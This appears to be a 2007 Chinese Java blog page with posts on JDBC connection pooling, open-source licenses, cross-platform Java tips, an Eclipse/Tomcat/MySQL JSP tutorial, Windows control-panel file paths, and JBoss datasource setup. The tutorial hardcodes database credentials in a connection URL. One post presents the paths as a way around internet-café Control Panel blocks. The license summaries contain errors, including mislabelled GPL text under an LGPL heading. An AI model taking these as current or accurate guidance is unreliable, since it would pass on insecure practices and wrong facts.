                   }
                   else{
                          obj=method.invoke(this.conn, args);
                   }
                  
                   return obj;
            }
    }

           在实际项目中,并不需要你来从头开始来设计数据库连接池机制,现在成熟的开源项目,如C3P0,dbcp,Proxool等提供了良好的实现。一般推荐使用Apache dbcp,基本使用实例:
    DataSource ds = null;
        try{
          Context initCtx = new InitialContext();
          Context envCtx = (Context) initCtx.lookup("java:comp/env");
          ds = (DataSource)envCtx.lookup("jdbc/myoracle");
             if(ds!=null){
                     out.println("Connection is OK!");
                     Connection cn=ds.getConnection();
                     if(cn!=null){
                             out.println("cn is Ok!");
                     Statement stmt = cn.createStatement();
                      ResultSet rst = stmt.executeQuery("select * from BOOK");
                     out.println("<p>rst is Ok!" + rst.next());
                     while(rst.next()){
                             out.println("<P>BOOK_CODE:" + rst.getString(1));
                       }
                             cn.close();
                     }else{
                             out.println("rst Fail!");
                     }
             }
             else
                     out.println("Fail!");
                }catch(Exception ne){ out.println(ne);
              }


    3.2 Statement Pool
    普通预编译代码:
    String strSQL=”select name from items where id=?”;
    PreparedStatement ps=conn.prepareStatement(strSQL);
    ps.setString(1, “2”);
    ResultSet rs=ps.executeQuery();

    但是PreparedStatement 是与特定的Connection关联的,一旦Connection关闭,则相关的PreparedStatement 也会关闭。
    为了创建PreparedStatement 缓冲池,可以在invoke方法中通过sql语句判断池中还有没有可用实例。

    4. 持久层设计与O/R mapping 技术
    1) Hernate:适合对新产品的开发,进行封闭化的设计
    Hibernate 2003年被Jboss接管,通过把java pojo对象映射到数据库的table中,采用了xml/javareflection技术等。3.0提供了对存储过程和手写sql的支持,本身提供了hql语言。
    开发所需要的文件:
    hibernate配置文件: hibernate.cfg.xml 或 hibernate.properties
    hibernate 映射文件: a.hbm.xml
    pojo类源文件: a.java  

    导出表与表之间的关系:
    a. 从java对象到hbm文件:xdoclet
    b. 从hbm文件到java对象:hibernate extension
    c. 从数据库到hbm文件:middlegen
    d. 从hbm文件到数据库:SchemaExport

    2)Iatis :适合对遗留系统的改造和对既有数据库的复用,有很强的灵活性 3) Apache OJB:优势在于对标准的全面支持 4)EJB:适合集群服务器,其性能也不象某些人所诟病的那么差劲 5) JDO (java data object)
    设置一个Properties对象,从而获取一个JDO的PersistenceManagerFactory(相当于JDBC连接池中的DataSource),进而获得一个PersistenceManager对象(相当于JDBC中的Connection对象),之后,你可以用这个PersistenceManager对象来增加、更新、删除、查询对象。
    JDOQL是JDO的查询语言;它有点象SQL,但却是依照Java的语法的。

    5. 基于开源框架的Struts+Spring+Hibernate实现方案
    示例:这是一个3层架构的web 程序,通过一个Action 来调用业务代理,再通过它来回调 DAO类。下面的流程图表示了MyUsers是如何工作的。数字表明了流程的先后顺序,从web层(UserAction)到中间层(UserManager),再到数据层(UserDAO),然后返回。
    Spring是AOP, UserManager和UserDAO都是接口.
    1)        web层(UserAction) :调用中间层的接口方法,将UserManager作为属性注入。
                  采用流行的Struts框架,虽然有很多人不屑一顾,但是这项技术在业界用的比较普遍,能满足基本的功能,可以减少培训学习成本。
    2)        中间层(UserManager):将UserDAO作为属性注入,其实现主要是调用数据层接口的一些方法;它处于事务控制中。
                 采用Spring框架实现,IOC与AOP是它的代名词,功能齐全,非常棒的一个架构。
    3)        数据层(UserDAO):实现类继承HibernateDaoSupport类,在该类中可以调用getHibernateTemplate()的一些方法执行具体的数据操作。
                 采用Hibernate做O/R mapping,从种种迹象可以看出,Hibernate就是EJB3.0的beta版。
    posted @ 2007-09-01 15:28 jadmin 阅读(53) | 评论 (0)编辑 收藏

      今天工作的任务要写一些跟开源协议相关的约定说明,所以在网上搜索了一些资料以供参考,下面列出了几个比较常见的开源协议,如果想要了解其他的协议和详细了解这些协议,我个人推荐这个网址:http://www.opensource.org/licenses/

      Mozilla Public License

      MPL License,允许免费重发布、免费修改,但要求修改后的代码版权归软件的发起者。这种授权维护了商业软件的利益,,它要求基于这种软件得修改无偿贡献版权给该软件。这样,围绕该软件得所有代码得版权都集中在发起开发人得手中。但MPL是允许修改,无偿使用得。MPL软件对链接没有要求。

      BSD开源协议

      BSD开源协议是一个给于使用者很大自由的协议。可以自由的使用,修改源代码,也可以将修改后的代码作为开源或者专有软件再发布。 当你发布使用了BSD协议的代码,或则以BSD协议代码为基础做二次开发自己的产品时,需要满足三个条件:

      1. 如果再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议。

      2. 如果再发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议。

      3. 不可以用开源代码的作者/机构名字和原来产品的名字做市场推广。

      BSD代码鼓励代码共享,但需要尊重代码作者的著作权。BSD由于允许使用者修改和重新发布代码,也允许使用或在BSD代码上开发商业软件发布和销售,因此是对商业集成很友好的协议。而很多的公司企业在选用开源产品的时候都首选BSD协议,因为可以完全控制这些第三方的代码,在必要的时候可以修改或者二次开发。

      Apache Licence 2.0

      Apache Licence是著名的非盈利开源组织Apache采用的协议。该协议和BSD类似,同样鼓励代码共享和尊重原作者的著作权,同样允许代码修改,再发布(作为开源或商业软件)。需要满足的条件:

      1. 需要给代码的用户一份Apache Licence

      2. 如果你修改了代码,需要再被修改的文件中说明。

      3. 在延伸的代码中(修改和有源代码衍生的代码中)需要带有原来代码中的协议,商标,专利声明和其他原来作者规定需要包含的说明。

      4. 如果再发布的产品中包含一个Notice文件,则在Notice文件中需要带有Apache Licence。你可以在Notice中增加自己的许可,但不可以表现为对Apache Licence构成更改。

      Apache Licence也是对商业应用友好的许可。使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布/销售。

      GPL

      GPL许可证是自由软件的应用最广泛的软件许可证,人们可以修改程式的一个或几个副本或程式的任何部分,以此形成基於这些程式的衍生作品。必须在修改过的档案中附有明显的说明:您修改了此一档案及任何修改的日期。 您必须让您发布或出版的作品,包括本程式的全部或一部分,或内含本程式的全部或部分所衍生的作品,允许第三方在此许可证条款下使用,并且不得因为此项授权行为而收费。

      LGPL

      Linux就是采用了GPL。GPL协议和BSD, Apache Licence等鼓励代码重用的许可很不一样。GPL的出发点是代码的开源/免费使用和引用/修改/衍生代码的开源/免费使用,但不允许修改后和衍生的代码做为闭源的商业软件发布和销售。这也就是为什么我们能用免费的各种linux,包括商业公司的linux和linux上各种各样的由个人,组织,以及商业软件公司开发的免费软件了。

      GPL协议的主要内容是只要在一个软件中使用(“使用”指类库引用,修改后的代码或者衍生代码)GPL协议的产品,则该软件产品必须也采用GPL协议,既必须也是开源和免费。这就是所谓的”传染性”。GPL协议的产品作为一个单独的产品使用没有任何问题,还可以享受免费的优势。

      由于GPL严格要求使用了GPL类库的软件产品必须使用GPL协议,对于使用GPL协议的开源代码,商业软件或者对代码有保密要求的部门就不适合集成/采用作为类库和二次开发的基础。

      其它细节如再发布的时候需要伴随GPL协议等和BSD/Apache等类似

      Public Domain

      公共域授权。将软件授权为公共域,这些软件包没有授权协议,任何人都可以随意使用它。

      Artistic许可

      使作者保持对进一步开发的控制。

    posted @ 2007-08-31 11:11 jadmin 阅读(46) | 评论 (0)编辑 收藏

      使用Java语言编写应用程序最大的优点在于“一次编译,处处运行”,然而这并不是说所有的Java程序都具有跨平台的特性,事实上,相当一部分的Java程序是不能在别的操作系统上正确运行的,那么如何才能编写一个真正的跨平台的Java程序呢?下面是在编写跨平台的Java程序是需要注意的一些事情:

      1.编写Java跨平台应用程序时,你可以选择JDK1.0,1.1,1.2或支持它们的GUI开发工具如:Jbuilder,Visual Age for Java等等,但是必须注意你的Java程序只能使用Java核心API包,如果要使用第三方的类库包,则该类库包也要由Java核心包开发完成,否则在发布你的程序的时候还得将支持该Java类库包的JVM发布出去。也就是说,你的程序需要是100%纯Java的。举一个例子,Visual J++就不是纯Java的,由Visual J++编写的程序也就不具有平台无关性。

      2.无论你使用的是JDK或其他开发工具,在编译时都要打开所有的警告选项,这样编译器可以尽可能多的发现平台相关的语句,并给出警告。虽然不能保证没有编译时警告错误的程序一定是跨平台的,但含有警告错误的程序却很有可能是非平台无关的。

      3.在程序中使用任何一个方法的时候,要详细察看文档,确保你使用的方法不是在文档中已经申明为过时的方法(Deprecated method),也不是文档中未标明的隐含方法(Undocumented method)。

      4.退出Java程序时尽量不要使用java.lang.System的exit方法。Exit方法可以终止JVM,从而终止程序,但如果同时运行了另一个Java程序,使用exit方法就会让该程序也关闭,这显然不是我们希望看到的情况。事实上要退出Java程序,可以使用destory()退出一个独立运行的过程。对于多线程程序,必须要关闭各个非守护线程。只有在程序非正常退出时,才使用exit方法退出程序。

      5.避免使用本地方法和本地代码,尽可能自己编写具有相应功能的Java类,改写该方法。如果一定要使用该本地方法,可以编写一个服务器程序调用该方法,然后将现在要编写的程序作为该服务器程序的客户程序,或者考虑CORBA(公共对象请求代理)程序结构。

      6.Java中有一个类似于Delphi中的winexec的方法,java.lang.runtime类的exec方法,作为该方法本身是具有平台无关性的,但是给方法所调用的命令及命令参数却是与平台相关的,因此,在编写程序时要避免使用,如果一定要调用其他的程序的话,必须要让用户自己来设置该命令及其参数。比如说,在windows中可以调用notepad.exe程序,在linux中就要调用vi程序了。

      7.程序设计中的所有的信息都要使用ASCII码字符集,因为并不是所有的操作系统都支持Unicode字符集,这对于跨平台的Java中文软件程序不能不说是一大噩耗。

      8.在程序中不要硬性编码与平台相关的任何常量,比如行分隔符,文件分隔符,路径分隔符等等,这些常量在不同的平台上是不同的,比如文件分隔符,在UNIX和MAC中是“/”,在windows中是“”,如果要使用这些常量,需要使用jdava.util.Properties类的getProperty方法,如java.util.Properties.getProperty(“file.separator”)可以获得文件分隔符,getProperty (“line.separator”)返回行分隔符,getProperty(“path.separator”)返回路径分隔符。

      9.在编写跨平台的网络程序时,不要使用java.net.InetAddress类的getHostName方法得到主机名,因为不同的平台的主机名格式是不同的,最好使用getAddress得到格式相同的IP地址,另外,程序中所有的主机名都要换成IP地址,比如www.263.net就要换成相应的IP地址。

      10.涉及文件操作的程序需要注意:不要在程序中硬性编码文件路径,理由和8中一样,只是这一点特别重要,因此单独提出。而且,不同平台对于文件名使用的字符及最大文件名长度的要求不同,编写你的程序的时候要使用一般的ASCII码字符作为文件的名字,而且不能与平台中已存在的程序同名,否则会造成冲突。

      11.如果您写的程序是GUI程序,在使用AWT组件时不能硬性设置组件的大小和位置而应该使用Java的布局管理器(layout manager)来设置和管理可视组件的大小和位置,否则有可能造成布局混乱。

      12.由于不同的操作系统,不同的机器,系统支持的颜色和屏幕的大小和分辨率都不同,如何获得这些属性呢?使用java.awt.Systemcolor类可以获得需要的颜色,如该类的inactiveCaption就是窗口边框中活动标题的背景颜色,menu则是菜单的背景颜色。使用java.awt.Toolkit的getScreenResolution可以以“象素每英寸”为单位显示屏幕的分辨率。该类的getScreenSize可以得到屏幕大小(英寸),loadSystemColors可以列出所有的系统颜色。

      这些注意事项有些是来自参考文献,有些是自己长期编写Java程序的经验所得,相信对你的程序设计会有所帮助。

    posted @ 2007-08-31 11:08 jadmin 阅读(38) | 评论 (0)编辑 收藏

    注:本文假设你已经成功安装了Eclipse的tomcat插件sysdeo!

    首先创建Tomcat工程:File->New->Other下选择Tomcat Project(图1)
    工程名称输入为connMysql(图2)
    为方便这里选择can upDate server.xml file(默认值),点击Finish完成工程文件的创建(图3)在connMysql工程中创建java文件。选中connMysql从File->New点击Class(图4)在Package中输入test,Name输入为sqlBean,其它为默认,完成文件创建。sqlBean文件代码如下:
    package test;
    import java.sql.Connection;
    import java.sql.DriverManager;
    //sqlBean为一抽象函数,实现数据连接及关闭功能
    public abstract class sqlBean {
    private String myDriver= "org.gjt.mm.mysql.Driver";
    private String myURL= "jdbc:mysql://8.8.8.2:3306/netbilling?user=flux&password=123456";

    protected Connection myConn;
    public sqlBean(){}

    public Void makeConnection() throws Exception{
    Class.forName(myDriver).newInstance();
    myConn= DriverManager.getConnection(myURL);
    }

    public abstract void cleanup() throws Exception;
    public void takeDown() throws Exception{
    cleanup();
    myConn.close();
    }
    }
    同样的方法创建dbBean文件。dbBean文件代码如下:
    package test;

    import java.sql.ResultSet;
    import java.sql.Statement;
    //dbBean继承自sqlBean实现取数据
    public class dbBean extends sqlBean{

    String mySQL= "select operatorno,operatorname,description from operator";
    ResultSet myResuleSet= null;
    Statement stmt= null;
    public dbBean(){
    super();
    }

    public Boolean getNextDB() throws Exception{
    return myResuleSet.next();
    }

    public String getColumn(String inCol) throws Exception{
    return myResuleSet.getString(inCol);
    }

    public boolean getData() throws Exception{
    String myQuery= mySQL;
    stmt= myConn.createStatement();
    myResuleSet= stmt.executeQuery(myQuery);
    return (myResuleSet!= null);
    }

    public void cleanup() throws Exception{
    stmt.close();
    }
    }
    接下来创建调用这个Bean的JSP文件。这时要注意选中工程文件connMysql然后再创建JSP文件,这样文件直接被创建在connMysql目录下,方便调用。File->New->File(图5)

    JSP文件dbquery.jsp文件代码为:
    HTML PUBLIC "-//w3c//dtd html 4.0 transitional//en">

    <head>
    <%@ page language="java" %>
    <%@ page import= "java.sql.*"%>
    <%@ page contentType= "text/html;charset=utf-8"%>


    </head>
    <body bgcolor="#FFFFFF">
    <table border="1" width="400">
    <tr>
    <td>NO</td><td>NAME</td><td>DESCRIPTION</td>
    </tr>
    <%
    dbbean.makeConnection();
    if(dbbean.getData()){
    while(dbbean.getNextDB()){
    String no= dbbean.getColumn("operatorno");
    String name= dbbean.getColumn("operatorname");
    String desc= dbbean.getColumn("description");
    %>
    <tr>
    <td><%=no%></td>
    <td><%=name%></td>
    <td><%=desc%></td>
    </tr>
    <%
    }
    }
    dbbean.takeDown();
    %>
    </table>
    </body>

    到这里基本代码已经完成,但还有很重要的一步,因为这个程序中我们用到了JdbcMysql所以还要把JdbcMysql.jar文件拷贝到WEB-INF目录(Eclipse程序自动创建的)下,否则调用JSP文件时会出现ClassNotFound错误信息。刚开始我以为Eclipse很智能地把文件包含进去呢,因为在Project的Liberaries里我包含了这个Jar文件,谁知结果不是这样,郁闷了我半天。
    好了,保存文件,点击Eclipse界面上的那个小老虎图标启动Tomcat(图6)在浏览器中输入http://localhost:8080/connMysql/dbquery.jsp,哈哈,大功告成!

    posted @ 2007-08-31 10:45 jadmin 阅读(50) | 评论 (0)编辑 收藏

    /**
    * @author ××× E-mail:JStudio@qq.com
    * @version 创建时间:2007-8-30 下午04:58:52
    * 类说明
    */

    window->preference->java->code     styple->code     template 当你选择到这部的时候就会看见右侧有一个框显示出code这个选项,你点开这个选项,点一下他下面的New Java    files 然后你点edit按钮,把他的内容换成你的就可以了:(例如)

    ${filecomment}
    ${package_declaration}
    /**
    * @author ××× E-mail:JStudio@qq.com
    * @version 创建时间:${date} ${time}
    * 类说明
    */
    ${typecomment}
    ${type_declaration}

    最后点apply ----> OK 成功。。

    posted @ 2007-08-30 20:00 jadmin 阅读(133) | 评论 (0)编辑 收藏
      http://www.google.com/microsoft
      微软风格的入口
      
      http://www.google.com/mac
      MAC风格的入口
      
      http://www.google.com/linux
      Linux风格的入口
      
      http://www.google.com/bsd
      FreeBSD风格的入口
      
      Google有各种语言的版本,下面这些语言可能实在是稀罕了点儿
      
      http://www.google.com/intl/xx-klingon/
      克林冈语入口(没看过星际旅行吗?)
      
      http://www.google.com/intl/xx-bork/
      政治入口?
      
      http://www.google.com/intl/xx-elmer/
      宗教入口
      
      http://www.google.com/intl/xx-piglatin/
      小猪入口
      
      http://www.google.com/intl/xx-hacker/
      黑客专用入口
      
      Google里还有一个小小的彩蛋游戏,大家自己去看吧!
      http://www.google.com/Easter/feature_easter.html
      
      
      下面是一此更有用的彩蛋
      
      http://froogle.google.com/
      作用: 通过特殊的搜索引擎,你可以在网上找到你想购物的网站位置。以及你可以很方便的搜索出同类产品的价格。
      
      看看世界各地的商品价格,自己再买的时候心底有数多了把
      
      http://labs.google.com/gviewer.html
      作用:一个小玩具,适合那些连鼠标都懒得动的懒人。当你在google上找到了查询结果后,你可以使用google viewer让结果以自己定义的间隔时间来一条一条自动滚屏。
      
      http://labs.google.com/cgi-bin/webquotes
      作用:可以搜索出你要查询的内容在internet上被多少其他的网站引用过,可以让你知道internet上其他人对你要查询内容的观点,适合写论文和评论以及特殊用途人使用。
      
      http://labs.google.com/glossary
      作用:顾名思义了,就是一个查英语缩写语意的工具,google的词汇表
      
      http://labs1.google.com/gvs.html
      作用:给google打一个电话,说出你要查找的内容,然后google会把你要查询的结果显示出来。 给不识字的人用的
    posted @ 2007-08-30 12:01 jadmin 阅读(74) | 评论 (0)编辑 收藏

    直接运行这些cpl就可以不用进控制面版了

    Internet选项
    C:\WINDOWS\System32\inetcpl.cpl
    电话和调制解调器选项
    C:\WINDOWS\System32\telephon.cpl
    电源选项
    C:\WINDOWS\System32\powercfg.cpl
    辅助功能选项
    C:\WINDOWS\System32\access.cpl
    管理工具
    C:\WINDOWS\system32\main.cpl
    键盘
    C:\WINDOWS\System32\main.cpl
    鼠标
    C:\WINDOWS\System32\main.cpl
    字体
    C:\WINDOWS\system32\main.cpl
    区域和语言选项
    C:\WINDOWS\System32\intl.cpl
    任务计划
    C:\WINDOWS\System32\mstask.dll
    任务栏和开始菜单
    C:\WINDOWS\system32\SHELL32.dll
    日期和时间
    C:\WINDOWS\System32\timedate.cpl
    扫描仪和照相机
    wiashext.dll
    声音和音频设备
    C:\WINDOWS\System32\MMSYS.CPL
    添加或删除程序
    C:\WINDOWS\System32\appwiz.cpl
    添加硬件
    C:\WINDOWS\System32\hdwwiz.cpl
    网络连接
    C:\WINDOWS\system32\netshell.dll
    文件夹选项
    C:\WINDOWS\system32\SHELL32.dll
    无线连接
    C:\WINDOWS\System32\irprops.cpl
    系统
    C:\WINDOWS\System32\sysdm.cpl
    用户帐户
    C:\WINDOWS\System32\nusrmgr.cpl
    显示
    C:\WINDOWS\System32\desk.cpl
    邮件
    C:\Program Files\Common Files\System\Mapi\2052\NT\MLCFG32.CPL
    游戏控制器
    C:\WINDOWS\System32\joy.cpl
    语音
    C:\Program Files\Common Files\Microsoft Shared\Speech\sapi.cpl

    以上只是在windows xp cn+sp2下找到的地址 非NT下肯定不同
    好处么?就是在网吧屏蔽控制面版的时候可以直接调用相应的选项设置

    posted @ 2007-08-28 10:31 jadmin 阅读(74) | 评论 (0)编辑 收藏
      Jboss 4.0的开发人员版本是一个开源的应用服务器,他把HypersonicDB作为他的缺省数据库。然而,开发人员也许还要使用除了HypersonicDB以外其他种类的数据库,在这篇文章中我们将看到如何在Jboss上配置使用其他的数据库。

      简介

      Jboss4.0使用了JDBC配置文件来配置数据库连接,它为EJB和其它J2EE应用提供了数据源(data source)进行访问。如果你要使用HypersonicDB以外的数据库你就要修改这个配置文件。这篇文章将着重讲解下面的几个部分:

       Jboss的EJB部署描述符
       Oralce数据库的配置
       MySQL数据库的配置
       Sysbase数据库的配置
       DB2数据库的配置
       Infomix数据库的配置
       Jboss的EJB部署描述符

      standardjaws.xml (位于X:\jboss4\server\default\conf)是一个映射CMP 实体EJB的标准部署描述文件。它用于配置CMP实体EJB,你也可以使用jaws.xml代替。你可以把这个文件copy到ejb .jar文件中的META-INF目录下。这个文件用于描述下面的信息:

       描述一个数据源和映射类型。
       描述EJB映射的表
       描述EJB的finder方法
       描述类型映射

      这里的数据源描述的是一个JNDI名称,可以通过这个JNDI来获得一个数据源连接池。Jboss4缺省的数据源使用的是HypersonicDB。如果使用其他的数据源你需要修改jaws.xml文件。

      standardjbosscmp-jdbc.xml(位于X:\jboss4\server\default\conf)是配置Jboss CMP容器的标准部署描述文件,你也可以使用一个自定义的配置文件--jbosscmp-jdbc.xml来代替它。这个文件也放在EJB.jar文件的 META-INF目录中。缺省使用的还是HypersonicDB作为数据库,这里也需要修改。

      Oracle数据库的配置

      Oracle以它的运行稳定和可靠成为了一个非常受欢迎的企业级数据库。要在Jboss 上配置使用Oracle的话我们要做的第一件事就是把Oracle的JDBC驱动程序复制到ClassPath下。我们把这个JDBC驱动程序复制到 server/default/lib目录下。为了使用Oracle的事务处理数据源我们还要把/docs/examples/jca/oracle- xa-ds.xml复制到/server/default/deploy目录下。如果使用的事非事务处理的数据源,就把 /docs/examples/jca/oracle-ds.xml文件复制到/server/default/deploy目录下。

      下一步,我们需要修改oracle-de.xml配置文件。其中的标签和标签的设置如下:

    Oracle OCI Type 2 Driver
      Class: oracle.jdbc.driver.OracleDriver
      URL: jdbc:oracle:oci8:@<database>
      Oracle OCI Thin Type 4 Driver
      Class: oracle.jdbc.driver.OracleDriver
      URL: jdbc:oracle:thin:@<host>:<port>:<database>
      Oracle OCI XA Type 2 Driver
      Class: oracle.jdbc.xa.client.OracleXADataSource
      URL: jdbc:oracle:thin:@<host>:<port>:<database>
      Oracle OCI Type 2 Driver
      Class: oracle.jdbc.driver.OracleDriver
      URL: jdbc:oracle:oci8:@<database>
    在Connection
      
      URL中是安装Oracle的计算机主机名,是oracle数据库的端口,是数据库名称。下一步,我们将修改standardjaws.xml 或jaws.xml配置文件,并把 和 元素这只为下面这样:

    <jaws>
        <datasource>java:/OracleDS</datasource>
        <type-mapping>Oracle8</type-mapping>
      </jaws>
      
      下一步,再修改standardjbosscmp-jdbc.xml 或 jbosscmp-jdbc.xml配置文件,设置 和 元素使用Oracle。

    <jbosscmp-jdbc>
        <defaults>
         <datasource>java:/OracleDS</datasource>
         <datasource-mapping>Oracle8</datasource-mapping>
        </defaults>
      </jbosscmp-jdbc>
      
      最后我们需要修改login-config.xml文件来使用Oracle,下面是login-config.xml文件的元素:

    <application-policy name = "OracleDbRealm">
        <authentication>
         <login-module code = 
       "org.jboss.resource.security.ConfiguredIdentityLoginModule"
                    flag = "required">
           <module-option name = "principal">sa</module-option>
           <module-option name = "userName">sa</module-option>
           <module-option name = "password"></module-option>
           <module-option name ="managedConnectionFactoryName"> 
                jboss.jca:service=LocalTxCM,name=OracleDS
           </module-option>
         </login-module>
        </authentication>
      </application-policy>
      
      修改了oracle-ds.xml, standardjaws.xml, standardjbosscmp-jdbc.xml,和login-config.xml 文件之后就可以再Jboss4中使用Oracle了。

      MySQL数据库配置

      MySQL是一个开放源代码的数据库,有很多开源项目和小型的社团都在使用它。要在Jboss4中使用MySQL的话首先要把MySQL的JDBC驱动放到CLASSPATH中。同样,把它复制到/server/default/lib目录下,再把/docs/examples/jca/mysql- ds.xml复制到/server/default/deploy目录下。修改mysql-ds.xml文件,设置为 com.mysql.jdbc.Driver再把设置为jdbc:mysql:///,其中是数据库主机名是数据库名。 然后需要设置standardjaws.xml 或 jaws.xml文件的和元素:

    <jaws>
       <datasource>java:/MySqlDS</datasource>
       <type-mapping>mySql</type-mapping>
      </jaws>
      
      同样也需要把standardjbosscmp-jdbc.xml 或 jbosscmp-jdbc.xml文件的 和 元素设置为下面这样:

    <jbosscmp-jdbc>
        <defaults>
          <datasource>java:/MySqlDS</datasource>
          <datasource-mapping>mySql</datasource-mapping>
       </defaults>
      </jbosscmp-jdbc>
      
      最后再修改login-config.xml文件来使用MySQL:

    <application-policy name = "MySqlDbRealm">
        <authentication>
         <login-module code = 
       "org.jboss.resource.security.ConfiguredIdentityLoginModule"
                    flag = "required">
           <module-option name ="principal">sa</module-option>
           <module-option name ="userName">sa</module-option>
           <module-option name ="password"></module-option>
           <module-option name ="managedConnectionFactoryName"> 
            jboss.jca:service=LocalTxCM,name=MySqlDS
           </module-option>
         </login-module>
        </authentication>
      </application-policy>
      
      修改了mysql-ds.xml, standardjaws.xml, standardjbosscmp-jdbc.xml,和 login-config.xml 文件就可以在Jboss上使用MySQL了。

      SysBase数据库配置

      Sybase Adaptive Server Enterprises(ASE)是Sysbase公司的数据库服务器。ASE可以在Unix和linux平台上使用。同样我们要把它的数据库驱动放到 CLASSPATH中,把它复制到/server/default/lib目录下,然后把/docs/examples/jca/sybase- ds.xml 复制到/server/default/deploy目录下。修改sybase-ds.xml文件把设置为 com.sybase.jdbc2.jdbc.SybDriver再把设置为 jdbc:sybase:Tds::/,其中分别为主机名、端口名和数据库名。同样需要修改standardjaws.xml 或 jaws.xml 文件的 和 元素:

    <jaws>
       <datasource>java:/SybaseDS</datasource>
       <type-mapping>Sybase</type-mapping>
      </jaws>
      
      再修改standardjbosscmp-jdbc.xml 或 jbosscmp-jdbc.xml 文件的 和元素:

    <jbosscmp-jdbc>
        <defaults>
         <datasource>java:/SybaseDS</datasource>
         <datasource-mapping>Sybase</datasource-mapping>
        </defaults>
      </jbosscmp-jdbc>
      
      最后修改login-config.xml 文件来使用Sysbase数据库.设置 元素:

      <application-policy name = "SybaseDbRealm">
        <authentication>
         <login-module code = 
       "org.jboss.resource.security.ConfiguredIdentityLoginModule"
                    flag = "required">
           <module-option name ="principal">sa</module-option>
           <module-option name = "userName">sa</module-option>
           <module-option name = "password"></module-option>
           <module-option name = "managedConnectionFactoryName"> 
                jboss.jca:service=LocalTxCM,name=SybaseDS
           </module-option>
         </login-module>
        </authentication>
      </application-policy>
      
      修改了sybase-ds.xml, standardjaws.xml, standardjbosscmp-jdbc.xml, 和login-config.xml文件后就可以在JBOSS中使用Sysbase了。

      DB2数据库配置

      IBM的DB2是一个完善、使用方便的数据库服务器,它可以在Linux,UNIX和Windows平台上使用。在JBOSS4上使用DB2只要把 db2java.zip复制到/server/default/lib目录下。然后复制/docs/examples/jca/db2-ds.xml到 /server/default/deploy目录下,然后修改 元素位 COM.ibm.db2.jdbc.app.DB2Driver , 元素为 jdbc:db2:其中的元素代表数据库服务名。

           java:/DB2DS     DB2   
      
      下面是相应的 standardjbosscmp-jdbc.xml (或 jbosscmp-jdbc.xml)文件:

      <jbosscmp-jdbc>
        <defaults>
         <datasource>java:/DB2DS</datasource>
         <datasource-mapping>DB2</datasource-mapping>
        </defaults>
      </jbosscmp-jdbc>
      
      最后在login-config.xml文件中加上下面的内容:

      <application-policy name = "DB2DbRealm">
        <authentication>
         <login-module code = 
       "org.jboss.resource.security.ConfiguredIdentityLoginModule"
                    flag = "required">
           <module-option name = 
      "principal">sa</module-option>
           <module-option name = 
      "userName">sa</module-option>
           <module-option name = 
      "password"></module-option>
           <module-option name ="managedConnectionFactoryName"> 
                jboss.jca:service=LocalTxCM,name=DB2DS
           </module-option>
         </login-module>
        </authentication>
      </application-policy>
      
      完成上面的配置就可以在Jboss上使用DB2了

      Informix 数据库配置

      IBM的Infoxmix数据库服务器用于作为数据仓库、分析和报告。在Jboss4上使用Informix数据库,首先要把它相应的数据库JDBC驱动复制到/server/default/lib目录下,然后,把/docs/examples/jca/informix-ds.xml 复制到 /server/default/deploy目录下,如果你使用的是事务的(XA)JDBC就复制那个 /docs/examples/jca/informix-xa-ds.xml文件。

      下一步要作的就是修改这个informix-ds.xml文件,把元素设置为:com.informix.jdbc.IfxDriver把元素设置为jdbc:informix-sqli://::informixserver=, 其中,,,分别代表数据库主机名、数据库端口和数据库服务名。然后修改standardjaws.xml 或 jaws.xml文件的 和 元素:

      <post>
      <jaws>
        <datasource>java:/InformixDS</datasource>
        <type-mapping>InformixDB</type-mapping>
      </jaws>
      
      把standardjbosscmp-jdbc.xml 或 jbosscmp-jdbc.xml文件中的 和 元素设置为下面这样:

      <jbosscmp-jdbc>
        <defaults>
         <datasource>java:/InformixDS</datasource>
         <datasource-mapping>InformixDB</datasource-mapping>
        </defaults>
      </jbosscmp-jdbc>
      
      最后在login-config.xml文件中加入元素:

      <application-policy name = "InformixDbRealm">
        <authentication>
        <login-module code = 
        "org.jboss.resource.security.ConfiguredIdentityLoginModule"
                    flag = "required">
           <module-option name = "principal">sa</module-option>
           <module-option name = "userName">sa</module-option>
           <module-option name = "password"></module-option>
           <module-option name ="managedConnectionFactoryName"> 
            jboss.jca:service=LocalTxCM,name=InformixDS
           </module-option>
         </login-module>
        </authentication>
      </application-policy>
      
      这样,你就可以在Jboss4中使用Informix数据库了。

      结论

      Jboss4默认情况下使用的是Hypersonic数据库,但如你所见我们只要简单的修改几个配置文件就可以使用市面上流行的其他数据库了。
    posted @ 2007-08-28 09:48 jadmin 阅读(63) | 评论 (0)编辑 收藏
    JSP 标准标记库(JSP Standard Tag Library,JSTL)是一个实现 Web 应用程序中常见的通用功能的定制标记库集,这些功能包括迭代和条件判断、数据管理格式化、XML 操作以及数据库访问。在 developerWorks 上其新系列的第一篇文章中,软件工程师 Mark Kolb 向您展示了如何使用 JSTL 标记来避免在 JSP 页面中使用脚本编制元素。您还将了解如何通过从表示层删除源代码来简化软件维护。最后,您将了解 JSTL 经过简化的表达式语言,它允许在不必使用功能齐全的编程语言的情况下对 JSTL 操作指定动态属性值。

       JavaServer Pages(JSP)是用于 J2EE 平台的标准表示层技术。JSP 技术提供了用于执行计算(这些计算用来动态地生成页面内容)的脚本编制元素和操作。脚本编制元素允许在 JSP 页面中包括程序源代码,在为响应用户请求而呈现页面时可以执行这些源代码。操作将计算操作封装到很象 HTML 或 XML 标记的标记中,JSP 页面的模板文本通常包含这些标记。JSP 规范只将几种操作定义成了标准,但从 JSP 1.1 开始,开发人员已经能够以定制标记库的方式创建其自己的操作了。

       JSP 标准标记库(JSTL)是 JSP 1.2 定制标记库集,这些标记库实现大量服务器端 Java 应用程序常用的基本功能。通过为典型表示层任务(如数据格式化和迭代或条件内容)提供标准实现,JSTL 使 JSP 作者可以专注于特定于应用程序的开发需求,而不是为这些通用操作“另起炉灶”。

       当然,您可以使用 JSP 脚本编制元素(scriptlet、表达式和声明)来实现此类任务。例如,可以使用三个 scriptlet 实现条件内容,清单 1 中着重显示了这三个 scriptlet。但是,因为脚本编制元素依赖于在页面中嵌入程序源代码(通常是 Java 代码),所以对于使用这些脚本编制元素的 JSP 页面,其软件维护任务的复杂度大大增加了。例如,清单 1 中的 scriptlet 示例严格地依赖于花括号的正确匹配。如果不经意间引入了一个语法错误,则条件内容中的嵌套其它 scriptlet 可能会造成严重破坏,并且在 JSP 容器编译该页面时,要使所产生的错误信息有意义可能会很困难。

